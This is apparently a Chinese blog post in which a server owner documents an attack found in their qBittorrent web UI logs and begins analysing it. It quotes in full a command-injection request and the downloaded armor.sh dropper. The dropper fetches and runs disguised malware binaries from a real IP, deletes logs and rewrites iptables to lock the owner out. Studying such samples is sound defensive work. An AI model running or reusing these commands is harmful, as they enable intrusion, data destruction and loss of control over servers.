记一次真实的网络攻击

起源

在我的服务器上的8080端口我开了一个qBittorrent的webUI管理界面,后台经常收到非法请求。一直也没管过,今天发现一个,记录一下。
image

后台记录如上图,get请求的内容是

GET /backupmgt/localJob.php?session=fail;cd+/tmp;wget+http://212.192.241.72/armor.sh;curl+-O+http://212.192.241.72/armor.sh; chmod+777+armor.sh;sh+armor.sh HTTP/1.1

这一看哪是正常的get请求,又是wget,又是cd,又是chmod,一看就不正常。

看看它想干嘛

上述命令显然是想利用服务器的漏洞执行它的脚本,这个ip是来自俄罗斯的一个ip。先把它的armor.sh下载下来看看。

sleep 5
rm -rf /tmp
rm -rf /var/log
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.x86; curl -O http://212.192.241.72/bins/dark.x86;cat dark.x86 >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.mips; curl -O http://212.192.241.72/bins/dark.mips;cat dark.mips >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.mpsl; curl -O http://212.192.241.72/bins/dark.mpsl;cat dark.mpsl >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm4; curl -O http://212.192.241.72/bins/dark.arm4;cat dark.arm4 >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm5; curl -O http://212.192.241.72/bins/dark.arm5;cat dark.arm5 >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm6; curl -O http://212.192.241.72/bins/dark.arm6;cat dark.arm6 >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.arm7; curl -O http://212.192.241.72/bins/dark.arm7;cat dark.arm7 >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.ppc; curl -O http://212.192.241.72/bins/dark.ppc;cat dark.ppc >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.m68k; curl -O http://212.192.241.72/bins/dark.m68k;cat dark.m68k >nginx;chmod +x *;./nginx exploit.armor
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /etc/init.d || cd /; wget http://212.192.241.72/bins/dark.sh4; curl -O http://212.192.241.72/bins/dark.sh4;cat dark.sh4 >nginx;chmod +x *;./nginx exploit.armor
wget http://212.192.241.72/bins/dark.86_64; curl -O http://212.192.241.72/bins/dark.86_64;cat dark.86_64 >nginx;chmod +x *;./nginx exploit.armor
iptables -F
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -p tcp --dport 9000 -j DROP
iptables -A INPUT -p tcp --dport 8089 -j DROP
iptables -A INPUT -p tcp --dport 7070 -j DROP
iptables -A INPUT -p tcp --dport 8081 -j DROP
iptables -A INPUT -p tcp --dport 9090 -j DROP
iptables -A INPUT -p tcp --dport 161 -j DROP
iptables -A INPUT -p tcp --dport 5555 -j DROP
iptables -A INPUT -p tcp --dport 9600 -j DROP
iptables -A INPUT -p tcp --dport 21412 -j DROP
iptables -A INPUT -p tcp --dport 5986 -j DROP
iptables -A INPUT -p tcp --dport 5985 -j DROP
iptables-save

shell脚本也很简单,从它的服务器上下载dark并伪装成nginx执行,然后把iptables中的规则清空掉,并且丢弃常见端口的数据包,让你无法连接服务器。

下载它的dark.x86文件看看,是个二进制可执行程序。一开始不知道是二进制程序,用vscode强行打开,发现有UPX字样,估计是用upx压缩了。使用upx解压缩一下。

upx -d dark.x86

解压缩出来是个97KB的程序,也不是很大,上传到腾讯哈勃看看先。
image
果然有不轨行为,连接了网络。用strings看一下里面有哪些字符串。

strings dark.x86.unpack

接下来用IDA pro分析一下。或者放沙箱里跑一下看看。

未完待续......

posted @ 2021-09-22 11:30  王冰冰  阅读(375)  评论(2编辑  收藏  举报